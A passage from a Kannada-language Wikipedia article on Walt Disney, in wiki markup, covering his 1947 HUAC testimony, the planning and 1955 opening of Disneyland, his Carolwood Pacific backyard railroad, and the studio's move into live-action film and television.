ಬ್ರಾನ್‌ರನ್ನು ಭೇಟಿಯಾದ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ.]] === ಕಾಂಗ್ರೆಸ್‌ ಮುಂದೆ ಸಾಕ್ಷ್ಯ === ಡಿಸ್ನಿ ವಾಮಪಂಥ ವಿರೋಧಿ [[ಮೋಷನ್‌ ಪಿಕ್ಚರ್‌ ಅಲಯೆನ್ಸ್‌ ಫಾರ್‌ ದಿ ಪ್ರಿಸರ್ವೇಷನ್‌‌ ಆಫ್‌ ಅಮೆರಿಕನ್‌ ಐಡಿಯಲ್ಸ್‌]] ಸಂಘಟನೆಯ ಸ್ಥಾಪಕ-ಸದಸ್ಯರಾಗಿದ್ದರು. {{cite}} [[ಶೀತಲ ಸಮರ]]ದ ಆರಂಭಿಕ ವರ್ಷಗಳಲ್ಲಿ - ಅಂದರೆ 1947ರಲ್ಲಿ,<ref name="CNN">{{cite web|accessdate=2008-05-21|url=http://www.cnn.com/SPECIALS/cold.war/episodes/06/documents/huac/disney.html|title=Testimony of Walter E. Disney before HUAC|publisher=[[CNN]]|date=1947-10-24}}</ref> [[ಹೌಸ್‌ ಅನ್‌-ಅಮೆರಿಕನ್‌ ಅಕ್ಟಿವಿಟಿಸ್‌ ಕಮಿಟಿ]] ಸಮ್ಮುಖದಲ್ಲಿ, ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ತಮ್ಮ ಹೇಳಿಕೆಯಲ್ಲಿ, ಮಾಜಿ ಆನಿಮೇಟರ್‌ಗಳು ಮತ್ತು [[ಕಾರ್ಮಿಕ ಒಕ್ಕೂಟ]]ದ ಸಂಘಟನಾಕಾರರಾದ [[ಹರ್ಬರ್ಟ್‌ ಸೊರೆಲ್‌]], [[ಡೇವಿಡ್‌ ಹಿಲ್ಬರ್ಮನ್‌]] ಮತ್ತು [[ವಿಲಿಯಮ್‌ ಪೊಮೆರಾನ್ಸ್‌]]ರನ್ನು [[ವಾಮಪಂಥೀಯ]] ಚಳವಳಿಗಾರರೆಂದು ಟೀಕಿಸಿದರು. ಮೂವರೂ ಸಹ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯವರ ಆರೋಪವನ್ನು ತಳ್ಳಿಹಾಕಿದರು. ರಷ್ಯಾ ಸರ್ಕಾರ ಬಿಡುಗಡೆಗೊಳಿಸಿದ [[ಆರ್ಕೈವ್ಸ್‌]] ಆಫ್‌ ದಿ [[ಸೊವಿಯತ್‌ ಯೂನಿಯನ್‌]] ಪತ್ರಿಕೆಯ ಆ ಸಮಯದ ಲೇಖಕ ಪೀಟರ್ ಷ್ವೇಜರ್ ಪ್ರಕಾರ, ಹರ್ಬರ್ಟ್‌ ಸೊರೆಲ್‌ ಒಬ್ಬ ವಾಮಪಂಥೀಯ [[ಗೂಢಚಾರ]] ಎಂದು ಆರೋಪಿಸಲಾಗಿದೆ.<ref>ಷ್ವೇಜರ್‌, ಪೀಟರ್‌ (2002) ರೀಗನ್‌'ಸ್‌ ವಾರ್‌: ದಿ ಎಪಿಕ್‌ ಸ್ಟೋರಿ ಆಫ್‌ ಹಿಸ್‌ ಫಾರ್ಟಿ-ಇಯರ್‌ ಸ್ಟ್ರಗಲ್‌ ಅಂಡ್‌ ಫೈನಲ್‌ ಟ್ರಯಂಫ್‌ ಒವರ್‌ ಕಮ್ಯೂನಿಸಮ್‌ ಡಬಲ್‌ಡೇ, ನ್ಯೂಯಾರ್ಕ್‌, ISBN 0-385-50471-3 </ref> HUAC ಮುಂದೆ ಹರ್ಬರ್ಟ್‌ ಸೊರೆಲ್‌ 1946ರಲ್ಲಿ ತಮ್ಮ ಹೇಳಿಕೆ ನೀಡಿದರು. ಆದರೆ ವಾಮಪಕ್ಷದೊಂದಿಗೆ ಅವರ ಸಂಬಂಧ ಸಾಬೀತುಪಡಿಸಲು ಸಾಕಷ್ಟು ಸಾಕ್ಷ್ಯಗಳಿರಲಿಲ್ಲ.<ref>ಕೊಗ್ಲೇ, ಜಾನ್‌ (1956) ರಿಪೊರ್ಟ್‌ ಆನ್‌ ಬ್ಲ್ಯಾಕ್ಲಿಸ್ಟಿಂಗ್‌, ವಾಲ್ಯೂಮ್‌ I, ಮೂವೀಸ್‌ ಫಂಡ್‌ ಫಾರ್‌ ದಿ ರಿಪಬ್ಲಿಕ್‌, ನ್ಯೂಯಾರ್ಕ್‌, ಪಿ. 34 OCLC 3794664; reprinted in ನ್ಯೂಯಾರ್ಕ್‌ನ ಅರ್ನೊ ಪ್ರೆಸ್‌ನಿಂದ 1972ರಲ್ಲಿ ಪುನರ್ಮುದ್ರಿತವಾದದ್ದು ISBN 0-405-03915-8</ref><ref>"ಕಮ್ಯೂನಿಸ್ಟ್‌ ಬ್ರೊಷರ್‌" ಸ್ಕ್ರೀನ್‌ ಆಕ್ಟರ್ಸ್‌ ಗಿಲ್ಡ್‌; 20 ಅಕ್ಟೋಬರ್‌ 2008ರಂದು ಪ್ರವೇಶಿಸಿದ್ದು.</ref> ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ [[ಸ್ಕ್ರೀನ್‌ ಆಕ್ಟರ್ಸ್‌ ಗಿಲ್ಡ್‌]]ನ್ನು ವಾಮಪಂಥೀಯ ಕಮ್ಯುನಿಷ್ಟರ ಗುಂಪು ಎಂದು ಆರೋಪಿಸಿದರು. 1941ರಲ್ಲಿ ನಡೆದ ಮುಷ್ಕರವು ಹಾಲಿವುಡ್‌ನಲ್ಲಿ ತಮ್ಮ ಪ್ರಭಾವ ಹೆಚ್ಚಿಸಲು ವಾಮಪಕ್ಷ ನಡೆಸಿದ ವ್ಯವಸ್ಥಿತ ಯತ್ನಗಳಲ್ಲೊಂದು.<ref name="CNN"/> == 1955-1966: ಥೀಮ್‌ ಪಾರ್ಕ್‌ಗಳು ಮತ್ತು ಅಲ್ಲಿಂದಾಚೆಗೆ == === ಡಿಸ್ನಿಲೆಂಡ್‌ನ ಯೋಜನೆ === [[ಚಿತ್ರ:6308-AnaheimDisneyLand-NW to SE View.jpg|thumb|left|ಆಗಸ್ಟ್‌ 1963ರಲ್ಲಿ ಛಾಯಾಗ್ರಹಣ ಮಾಡಲಾದ ಉದ್ಯಾನದ ವಾಯುವ್ಯದಿಂದ ಅಗ್ನೇಯದ ವರೆಗಿನ ಪಕ್ಷಿನೋಟ. ನ್ಯೂ ಮೆಲೊಡಿಲೆಂಡ್‌ ಥಿಯೆಟರ್‌ ಮೇಲ್ಭಾಗದಲ್ಲಿದೆ.ಸ್ಯಾಂಟಾ ಆನಾ ಫ್ರೀವೇ (I-5) ಮೇಲ್ಭಾಗದ ಎಡ ಮೂಲೆ. ಡಿಸ್ನಿಲೆಂಡ್‌]] 1940ರ ದಶಕದ ಅಪರಾರ್ಧದಲ್ಲಿ ಶಿಕಾಗೊ ಕಡೆಗೆ ಒಂದು ವ್ಯವಹಾರಿಕ ಪ್ರವಾಸ ಕೈಗೊಂಡ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ [[ಮನೋರಂಜನಾ ಉದ್ಯಾನ]]ವೊಂದಕ್ಕೆ ಅವರ ಕಲ್ಪನೆಗಳನ್ನು ಚಿತ್ರಗಳ ಮೂಲಕ ಬಿಡಿಸುತ್ತಿದ್ದರು. ಅದರಲ್ಲಿ ಅವರ ಉದ್ಯೋಗಿಗಳು ತಮ್ಮ ತಮ್ಮ ಮಕ್ಕಳೊಂದಿಗೆ ಸಮಯ ಕಳೆಯುವುದನ್ನು ಮನದಲ್ಲಿ ಅವರು ಚಿತ್ರಿಸಿಕೊಳ್ಳುತ್ತಿದ್ದರು. [[ಕ್ಯಾಲಿಫೊರ್ನಿಯಾದ ಓಕ್ಲೆಂಡ್‌]]ನಲ್ಲಿರುವ [[ಚಿಲ್ಡ್ರೆನ್ಸ್‌ ಫೇಯ್ರಿಲೆಂಡ್‌]]ಗೆ ಭೇಟಿ ನೀಡಿದಾಗ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಗೆ ಮಕ್ಕಳ ಥೀಮ್‌ ಪಾರ್ಕ್‌ ಬಗೆಗಿನ ಕಲ್ಪನೆ ಹೊಳೆದದ್ದು. ಡಿಸ್ನಿ ಸ್ಟುಡಿಯೊ ಎದುರಿಗೆ, ರಸ್ತೆ ದಾಟಿ, ದಕ್ಷಿಣ ದಿಕ್ಕಿನಲ್ಲಿದ್ದ ಜಮೀನಿಗೆ ಈ ಯೋಜನೆಯನ್ನು ಸ್ಥಳಾಂತರಿಸಲಾಗಿತ್ತು. ಮೂಲತಃ ವಾಸ್ತವಿಕ ಆಲೋಚನಾ ಲಹರಿ, ಕಲ್ಪನೆಗಳನ್ನು ಪರಿಗಣಿಸಿದರೆ ಇನ್ನೂ ದೊಡ್ಡ ಪ್ರಮಾಣದ ಯೋಜನೆಯಾಗಿ [[ಡಿಸ್ನಿಲೆಂಡ್‌]] ನ ನಿರ್ಮಾಣ ಆಗುವುದಿತ್ತು. ಡಿಸ್ನಿಲೆಂಡ್‌ನ ವಿನ್ಯಾಸ ಮತ್ತು ಅಭಿವೃದ್ಧಿಯಲ್ಲಿ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಐದು ವರ್ಷಗಳ ಕಾಲ ಮಗ್ನರಾಗಿದ್ದರು. ಉದ್ಯಾನದ ಯೋಜನೆ ಮತ್ತು ನಿರ್ಮಾಣ ಕೈಗೆತ್ತಿಕೊಳ್ಳಲು, ಅವರು ತಮ್ಮ ಉದ್ದಿಮೆಯ ಒಂದು ಆಧೀನ ಸಂಸ್ಥೆಯಾಗಿ [[WED ಎಂಟರ್ಪ್ರೈಸಸ್‌]]ನ್ನು ಸ್ಥಾಪಿಸಿದರು. ಡಿಸ್ನಿ ಸ್ಟುಡಿಯೊಸ್‌ ಉದ್ಯೋಗಿಗಳ ಸಣ್ಣ ಗುಂಪು ಡಿಸ್ನಿಲೆಂಡ್‌ ಅಭಿವೃದ್ಧಿ ಯೋಜನೆಗೆ ಅಭಿಯಂತರ ಮತ್ತು ಯೋಜನೆಗಾರರಾಗಿ ಸೇರ್ಪಡೆಯಾದರು. ಇವರನ್ನು [[ಇಮ್ಯಾಜಿನಿಯರ್‌]]ಗಳು ಎಂದುಕರೆಯಲಾಯಿತು. ತಮ್ಮ ಆರಂಭಿಕ ಯೋಜನೆಗಳನ್ನು [[ಹರ್ಬ್‌ ರೈಮನ್‌]]ರಿಗೆ ವಿವರಿಸಿದರು. (ಹರ್ಬ್‌ ರೈಮನ್‌ ಡಿಸ್ನಿಲೆಂಡ್‌ನ ಮೊದಲ ಪಕ್ಷಿನೋಟದ ನೀಲಿನಕ್ಷೆ ಮತ್ತು ದೃಶ್ಯಾವಳಿ ರಚಿಸಿದರು. [[ಬ್ಯಾಂಕ್‌ ಆಫ್‌ ಅಮೆರಿಕಾ]]ದಲ್ಲಿ ಈ ಉದ್ಯಾನಕ್ಕಾಗಿ ಸಾಲ ಕೋರಲು ಅರ್ಜಿ ಸಲ್ಲಿಸಿದಾಗ, ಈ ವಿನ್ಯಾಸವನ್ನು ಬ್ಯಾಂಕ್‌ನ ಅಧಿಕಾರಿಗಳಿಗೆ ತೋರಿಸಲಾಯಿತು). 'ಹರ್ಬೀ, ಇದು ಇಡೀ ಪ್ರಪಂಚದಲ್ಲೇ ಎಲ್ಲೂ ಕಾಣದಂತಹ ವಿನ್ಯಾಸವನ್ನು ಇದು ಹೊಂದಿರಬೇಕು"ಎಂದು ಅವರು ಅಪೇಕ್ಷೆಪಟ್ಟರು. ಇದರ ಸುತ್ತಲೂ ರೈಲುಮಾರ್ಗವಿರಬೇಕು' ಎಂದು ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಹೇಳಿದರು.<ref>{{cite web|accessdate=2008-05-21|url=http://disneyspace.tripod.com/id1.html|title=Walt Disney Quotes|publisher=[[Tripod.com]]}}</ref> ತಮ್ಮ ಇಬ್ಬರು ಪುತ್ರಿಯರು ಮತ್ತು ಅವರ ಮಿತ್ರವೃಂದದವರಿಗೆ ತಮ್ಮ ನಿವಾಸದ ಸ್ವಂತ ಜಾಗೆಯಲ್ಲಿಯೇ ಈ ಸೌಲಭ್ಯ ಒದಗಿಸಿ, ತಮ್ಮ [[ಕ್ಯಾರೊಲ್‌ವುಡ್‌ ಪೆಸಿಫಿಕ್‌ ರೈಲ್ರೋಡ್‌]] ರೈಲಿನಲ್ಲಿ ಸವಾರಿ ಕರೆದುಕೊಂಡು ಹೋಗುತ್ತಿದ್ದದ್ದು ವಾಲ್ಟ್ ಡಿಸ್ನಿಯವರಿಗೆ ರೂಢಿಯಾಗಿತ್ತು. ಇದರಿಂದಾಗಿ ಡಿಸ್ನಿಲೆಂಡ್‌ನಲ್ಲಿ ಒಂದು ರೈಲುಮಾರ್ಗ ನಿರ್ಮಾಣಕ್ಕೆ ಅವರಿಗೆ ಸ್ಪೂರ್ತಿ ದೊರಕಿತು. === ಡಿಸ್ನಿಲೆಂಡ್‌ನ ಅದ್ದೂರಿ ಉದ್ಘಾಟನೆ === [[ಚಿತ್ರ:Waltopening.jpg‎|thumb|right|300px|17 ಜುಲೈ 1955ರಂದು ಉದ್ಘಾಟನಾ ಭಾಷಣ ನೀಡುತ್ತಿರುವ ವಾಲ್ಟ್ ಡಿಸ್ನಿ.]]ಡಿಸ್ನಿಲೆಂಡ್‌ 17 ಜುಲೈ 1955ರಂದು ಅಧಿಕೃತವಾಗಿ ಪ್ರವೇಶಕ್ಕೆ ಮುಕ್ತವಾಯಿತು. ಉದ್ಘಾಟನಾ ಸಮಾರಂಭದಲ್ಲಿ ಹಾಜರಿದ್ದ ಸಾವಿರಾರು ಜನರ ಪೈಕಿ [[ರೊನಾಲ್ಡ್‌ ರೀಗನ್‌]], [[ಬಾಬ್‌ ಕಮ್ಮಿಂಗ್ಸ್‌]] ಮತ್ತು [[ಆರ್ಟ್‌ ಲಿಂಕ್‌ಲೆಟರ್‌]], ಇವರು ಸಮಾರಂಭದ ಸಹಆತಿಥ್ಯ ವಹಿಸಿಕಾರ್ಯನಿರ್ವಹಿಸಿದರು; ಜೊತೆಗೆ ಅನಾಹೇಮ್‌ನ ಮಹಾಪೌರರೂ ಸಹ ಉಪಸ್ಥಿತರಿದ್ದರು. ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯವರ ಉದ್ಘಾಟನಾ ಭಾಷಣದ ಪಠ್ಯ ಕೆಳಕಂಡಂತಿದೆ: {{cquote|To all who come to this happy place; welcome. Disneyland is your land. Here age relives fond memories of the past ... and here youth may savor the challenge and promise of the future. Disneyland is dedicated to the ideals, the dreams and the hard facts that have created America ... with the hope that it will be a source of joy and inspiration to all the world.}} === ಕ್ಯಾರೊಲ್‌ವುಡ್‌ ಪೆಸಿಫಿಕ್‌ ರೇಲ್ರೋಡ್‌ === [[ಚಿತ್ರ:LillybelleDland.jpg|thumb|1993ರಲ್ಲಿ ಡಿಸ್ನಿಲೆಂಡ್‌ ಮುಖ್ಯ ತಾಣದಲ್ಲಿ ಪ್ರದರ್ಶಿಸಲಾದ ದಿ ಲಿಲ್ಲಿ ಬೆಲ್‌.ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯವರೇ ಹಡಗಿನ ಪಾಕಶಾಲೆಯ ಮರಗೆಲಸವನ್ನು ಮಾಡಿದ್ದು.]] 1949ರಲ್ಲಿ, ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಮತ್ತು ಅವರ ಕುಟುಂಬ [[ಕ್ಯಾಲಿಫೊರ್ನಿಯಾ]]ದ [[ಲಾಸ್‌ ಏಂಜೆಲೆಸ್‌]]ನಲ್ಲಿರುವ [[ಹೋಮ್ಬಿ ಹಿಲ್ಸ್‌]] ಜಿಲ್ಲೆಯಲ್ಲಿನ ವಿಶಾಲ ಪ್ರದೇಶದಲ್ಲಿನ ನವನಿರ್ಮಿತ ನಿವಾಸಕ್ಕೆ ಸ್ಥಳಾಂತರಗೊಂಡರು. ತಮ್ಮದೇ ಆದ [[ಸ್ವಂತ ರೈಲುಹಳಿ (ಬ್ಯಾಕ್ಯಾರ್ಡ್‌ ರೇಲ್ರೋಡ್‌)]] ಹೊಂದಿದ್ದ ಹಾಗೂ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯವರ ಸ್ನೇಹಿತರಾದ [[ವಾರ್ಡ್‌ ಮತ್ತು ಬೆಟ್ಟಿ ಕಿಂಬಾಲ್‌]] ಸಹಾಯ ಪಡೆದು, ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ನೀಲಿನಕ್ಷೆ ರಚಿಸಿ, ಕೂಡಲೇ ತಮ್ಮ ಮನೆ ಹತ್ತಿರದಲ್ಲೇ ಕಿರುಪ್ರಮಾಣದ [[ನೈಜ ಉಗಿಬಂಡಿ]] ರೇಲ್ರೋಡ್‌ ರಚಿಸುವ ಕಾರ್ಯದಲ್ಲಿ ಮಗ್ನರಾದರು. ಕ್ಯಾರೊಲ್‌ವುಡ್‌ ಡ್ರೈವ್‌ನಲ್ಲಿದ್ದ ತಮ್ಮ ಮನೆಯ ವಿಳಾಸವನ್ನು ಆಧರಿಸಿ, ಈ ರೇಲ್ರೊಡ್‌ಗೆ [[ಕ್ಯಾರೊಲ್‌ವುಡ್‌ ಪೆಸಿಫಿಕ್‌ ರೇಲ್ರೋಡ್‌]] ಎನ್ನಲಾಯಿತು. ಅರ್ಧ-ಮೈಲು ಉದ್ದದ ವಿನ್ಯಾಸರಚನೆಯಲ್ಲಿ {{convert|46|ft|m|sing=on}}-ಉದ್ದದ ರೈಲುಹಳಿಗಳು, ವಕ್ರರೇಖೆ-ಆಕಾರದ ತಿರುವುಗಳು, ಮೇಲುಹಾದಿಗಳು, ಮಟ್ಟಸದ ಹಾದಿಗಳು, ಎತ್ತರ ಮಟ್ಟದಲ್ಲಿರುವ ಕಿರು ಹುಲ್ಲು ಹಾಸಿನ ದಾರಿ ಮತ್ತು {{convert|90|ft|m|sing=on}} ಶ್ರೀಮತಿ ಡಿಸ್ನಿಯವರ ಹೂಪಾತಿಯ ಕೆಳಗೆ ಹಾದುಹೋಗುವ ಒಂದು ಸುರಂಗ ಮಾರ್ಗ ಸೇರಿದ್ದವು. [[ಡಿಸ್ನಿ ಸ್ಟುಡಿಯೊ]]ದ [[ರೊಜರ್‌ ಇ. ಬ್ರೊಗೀ]] ನಿರ್ಮಿಸಿದ ಕಿರುಗಾತ್ರದ ರೈಲು ಇಂಜಿನ್‌ಗೆ ತಮ್ಮ ಪತ್ನಿಯ ಹೆಸರಲ್ಲಿ ''ಲಿಲ್ಲಿ ಬೆಲ್‌'' ಎಂದು ನಾಮಕರಣ ಮಾಡಿದರು. ಉದ್ಯಾನ ಕ್ಷೇತ್ರಗಳ ಮೂಲಕ ಹಾದುಹೋಗುವ ಈ ರೇಲ್ರೋಡ್‌ಗೆ ಖಾಯಂ, ಕಾನೂನಬದ್ಧ ಸಮ್ಮತಿ ಪಡೆಯಲು ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ತಮ್ಮ ವಕೀಲರ ಮೂಲಕ ಪತ್ರಗಳನ್ನು ಸಿದ್ಧಪಡಿಸಿ, ಅವರ ಪತ್ನಿ ಅವುಗಳಿಗೆ ಸಹಿ ಮಾಡಿದ್ದೂ ಆಯಿತು. ಆದರೆ, ಈ ದಾಖಲೆಗಳು ಸ್ವತ್ತಿನ ಮೇಲೆ ನಿರ್ಬಂಧದ ರೂಪದಲ್ಲಿ ಈ ದಾಖಲೆಗಳನ್ನು ಪರಿಗಣಿಸಿದ ಯಾವುದೇ ಸಾಕ್ಷ್ಯಾಧಾರಗಳಿಲ್ಲ. === ಹೊಸ ಕ್ಷೇತ್ರಗಳತ್ತ ವಿಸ್ತರಣೆ === ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಪ್ರೊಡಕ್ಷನ್ಸ್‌ ಡಿಸ್ನಿಲೆಂಡ್‌ ಕೆಲಸ ಆರಂಭಿಸಿದಾಗ, ಅದು ತನ್ನ ಇತರೆ ಮನರಂಜನಾ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ವಿಸ್ತರಿಸಲಾರಂಭಿಸಿತು. 1950ರಲ್ಲಿ, ''[[ಟ್ರೆಷರ್‌ ಐಲೆಂಡ್‌]]'' ಡಿಸ್ನಿ ಸ್ಟುಡಿಯೊ ನಿರ್ಮಿಸಿದ ಮೊದಲ ಪೂರ್ಣಪ್ರಮಾಣದ ಚಲನಚಿತ್ರವಾಗಿತ್ತು. ಇದಾದ ನಂತರ ''[[20,000 ಲೀಗ್ಸ್‌ ಅಂಡರ್‌ ದಿ ಸೀ]]'' ([[ಸಿನೆಮಾಸ್ಕೋಪ್‌]]ನಲ್ಲಿ, 1954), ''[[ಓಲ್ಡ್‌ ಯೆಲ್ಲರ್‌]]'' (1957), ''[[ದಿ ಷ್ಯಾಗಿ ಡಾಗ್‌]]'' (1959), ''[[ಪಾಲಿಯಾನಾ]]'' (1960), ''[[ಸ್ವಿಸ್‌ ಫ್ಯಾಮಿಲಿ ರಾಬಿನ್ಸನ್‌]]'' (1960), ''[[ದಿ ಆಬ್ಸೆಂಡ್‌-ಮೈಂಡೆಡ್‌ ಪ್ರೊಫೆಸರ್‌]]'' (1961) ಮತ್ತು ''[[ದಿ ಪೆರೆಂಟ್‌ ಟ್ರ್ಯಾಫ್‌]]'' (1961) ತೆರೆಕಂಡವು. ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಸ್ಟುಡಿಯೊ 1950ರಲ್ಲಿ ದೂರದರ್ಶನಕ್ಕಾಗಿ ''[[ಒನ್‌ ಹಾರ್‌ ಇನ್‌ ವಂಡರ್ಲೆಂಡ್‌]]'' ಎಂಬ ವಿಶೇಷ ಕಾರ್ಯಕ್ರಮ ನಿರ್ಮಿಸಿತು. [[ABC]] ದೂರದರ್ಶನ ವಾಹಿನಿಯಲ್ಲಿ ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಉದ್ಯಾನದ ಹೆಸರಿನಲ್ಲಿ ''[[ಡಿಸ್ನಿಲೆಂಡ್‌]]'' ಎಂಬ [[ಸಾಪ್ತಾಹಿಕ ಧಾರಾವಾಹಿಯ ಸರಣಿ]]ಯ ನಿರೂಪಣೆ ಮಾಡಿದರು. ಇದರಲ್ಲಿ ಅವರು ಹಿಂದಿನ ಡಿಸ್ನಿ ನಿರ್ಮಿತ ವ್ಯಂಗ್ಯ ಚಲನಚಿತ್ರಗಳು, ಪೂರ್ಣಪ್ರಮಾಣದ ಚಲನಚಿತ್ರಗಳ ತುಣುಕುಗಳು, ತಮ್ಮ ಸ್ಟುಡಿಯೊದ ಇಣುಕುನೋಟ ಹಾಗೂ [[ಕ್ಯಾಲಿಫೊರ್ನಿಯಾ]]ದ [[ಆನಾಹೇಂ]]ನಲ್ಲಿ ನಿರ್ಮಾಣವಾಗುತ್ತಿರುವ ಡಿಸ್ನಿಲೆಂಡ್‌ ಉದ್ಯಾನವನ್ನು ವೀಕ್ಷಕರಿಗೆ ಪರಿಚಯಿಸಿಕೊಟ್ಟರು. ಈ ಕಾರ್ಯಕ್ರಮ ಡೇವಿ ಕ್ರೊಕೆಟ್‌ ಕಿರುಸರಣಿಯನ್ನೂ ಒಳಗೊಂಡಿತ್ತು. ಇದು ಅಮೆರಿಕನ್‌ ಯುವಕರಲ್ಲಿ 'ಡೇವಿ ಕ್ರೊಕೆಟ್‌ ಕ್ರೇಜ್‌' ಎಂದೇ ಭಾರಿ ಸಂಚಲನ ಮೂಡಿಸಿತು. ದೇಶಾದ್ಯಂತ ದಶಲಕ್ಷಗಟ್ಟಲೆ ಕೂನ್‌ಸ್ಕಿನ್‌ ಟೋಪಿಗಳು ಮತ್ತು ಇತರೆ ಕ್ರೊಕೆಟ್‌ ನೆನಪಿನ ಗುರುತುಗಳು ಲಾಂಛನಗಳು ಮಾರಾಟವಾದವು.<ref>{{cite web|accessdate=2008-05-21|url=http://disney.go.com/disneyatoz/familymuseum/exhibits/articles/tvworldsofdisney/index.html|title=The Television Worlds of Disney - PART II|publisher=[[Disney]]|author=Cotter, Bill}}</ref> 1955ರಲ್ಲಿ, ಸ್ಟುಡಿಯೊದ ಮೊದಲ ದೈನಿಕ ದೂರದರ್ಶನ ಕಾರ್ಯಕ್ರಮ ''[[ಮಿಕ್ಕಿ ಮೌಸ್‌ ಕ್ಲಬ್‌]]'' ಆರಂಭವಾಯಿತು. ಇದು ವಿವಿಧ ಅವತಾರ-ಅವತರಣಿಕೆಗಳಲ್ಲಿ 1990ರ ದಶಕದಲ್ಲಿಯೂ ಸಹ ಮುಂದುವರೆಯುತ್ತಾ ಬಂದಿತ್ತು. ಸ್ಟುಡಿಯೊ ವಿಸ್ತರಿಸಿ ಇತರೆ ಮಾಧ್ಯಮಗಳತ್ತ ಗಮನಹರಿಸಿದಾಗ, ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಆನಿಮೇಷನ್‌ ವಿಭಾಗದತ್ತ ಗಮನ ಕಡಿಮೆಗೊಳಿಸಲಾರಂಭಿಸಿದರು. ಆನಿಮೇಷನ್‌ ಚಟುವಟಿಕೆಗಳನ್ನು '[[ನೈನ್‌ ಓಲ್ಡ್‌ ಮೆನ್‌]]' ಎಂದು ತಾವು ಹೆಸರಿಸಿದ್ದ ತಮ್ಮ ಪ್ರಮುಖ ಆನಿಮೇಟರ್‌ಗಳಿಗೆ ವಹಿಸಿಕೊಟ್ಟರು. ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಯವರ ಜೀವಮಾನದಲ್ಲಿ, ಆನಿಮೇಷನ್‌ ವಿಭಾಗವು, ಯಶಸ್ವಿಯಾದ ''[[ಲೇಡಿ ಅಂಡ್ ದಿ ಟ್ರ್ಯಾಂಪ್‌]]'' (1955, [[ಸಿನೆಮಾಸ್ಕೋಪ್]]‌), ''[[ಸ್ಲೀಪಿಂಗ್‌ ಬ್ಯೂಟಿ]]'' ([[ಸೂಪರ್‌ ಟೆಕ್ನಿರಾಮಾ]] [[70ಮಿಮೀ]], 1959), ''[[ಒನ್‌ ಹಂಡ್ರೆಡ್‌ ಅಂಡ್ ಒನ್‌ ಡಾಲ್ಮೇಟಿಯನ್ಸ್‌]]'' (1961) ಮತ್ತು ''[[ದಿ ಸ್ವೋರ್ಡ್‌ ಇನ್‌ ದಿ ಸ್ಟೋನ್‌]]'' (1963) ವ್ಯಂಗ್ಯಚಲನಚಿತ್ರಗಳನ್ನು ನಿರ್ಮಿಸಿತು. ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ವ್ಯಂಗ್ಯ ಕಿರುಚಲನಚಿತ್ರಗಳ ವಿಭಾಗವನ್ನು 1956ರಲ್ಲಿ ಮುಚ್ಚುವ ತನಕ, ವ್ಯಂಗ್ಯ ಕಿರುಚಲನಚಿತ್ರಗಳ ನಿರ್ಮಾಣಕಾರ್ಯ ನಡೆಯಿತು. ಮುಂದೆ, ಅನಿಯಮಿತವಾಗಿ ಅಂದರೂ ಆಗಾಗ ವಿಶೇಷ ವ್ಯಂಗ್ಯ ಕಿರುಚಿತ್ರಗಳ ನಿರ್ಮಾಣವೂ ಮುಂದುವರೆಯಿತು. ಈ ನಿರ್ಮಾಣಗಳೆಲ್ಲವನ್ನೂ ಡಿಸ್ನಿಯ ಹೊಸ ಅಂಗಸಂಸ್ಥೆ [[ಬ್ಯೂನಾ ವಿಸ್ಟಾ ಡಿಸ್ಟ್ರಿಬ್ಯುಷನ್‌]] ಮೂಲಕ ವಿತರಣೆಮಾಡಲಾಯಿತು. ಇದು 1955ರಲ್ಲಿ [[RKO]]ದಿಂದ ಡಿಸ್ನಿ ಚಲನಚಿತ್ರಗಳ ವಿತರಣೆಯ ಜವಾಬ್ದಾರಿ ವಹಿಸಿಕೊಂಡಿತ್ತು. ವಿಶ್ವದ ಪ್ರಪ್ರಥಮ [[ಥೀಮ್‌ ಪಾರ್ಕ್‌]]ಗಳಲ್ಲಿ ಒಂದಾದ [[ಡಿಸ್ನಿಲೆಂಡ್‌]] ಅಂತಿಮವಾಗಿ 14 ಜುಲೈ 1955ರಂದು ತೆರೆದುಕೊಂಡಿತು. ಇದು ಕೂಡಲೆ ಯಶಸ್ಸು ಕಂಡಿತು. ವಿಶ್ವದ ಹಲವೆಡೆಯಿಂದ ಪ್ರವಾಸಿಗರು ಡಿಸ್ನಿಲೆಂಡ್‌ಗೆ ಭೇಟಿ ನೀಡಿದರು. ಡಿಸ್ನಿಯ ಯಶಸ್ವೀ ಸಂಪತ್ತು ಮತ್ತು ಚಲನಚಿತ್ರಗಳ ಆಧರಿಸಿದ ಹಲವು ಪ್ರಮುಖ ಆಕರ್ಷಣೆಗಳು ಡಿಸ್ನಿಲೆಂಡ್‌ನಲ್ಲಿತ್ತು. 1955ರ ನಂತರ, ''ಡಿಸ್ನಿಲೆಂಡ್‌'' ಎಂಬ ಕಾರ್ಯಕ್ರಮವು ''ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಪ್ರೆಸೆಂಟ್ಸ್‌'' ಎಂದು ಮರುನಾಮಕರಣವಾಯಿತು. 1961ರಲ್ಲಿ ಈ ಕಾರ್ಯಕ್ರಮ ಕಪ್ಪು-ಬಿಳುಪಿನಿಂದ ವರ್ಣಚಿತ್ರಕ್ಕೆ ಪರಿವರ್ತಿತವಾಗಿ, '''ವಾಲ್ಟ್‌ ಡಿಸ್ನಿಸ್‌ ವಂಡರ್ಫುಲ್‌ ವರ್ಲ್ಡ್‌ ಆಫ್‌ ಕಲರ್‌'' ' ಎಂದು ಮರುನಾಮಕರಣವಾಯಿತು; ಜೊತೆಗೆ, ABCಯಿಂದ NBC <ref>{{cite 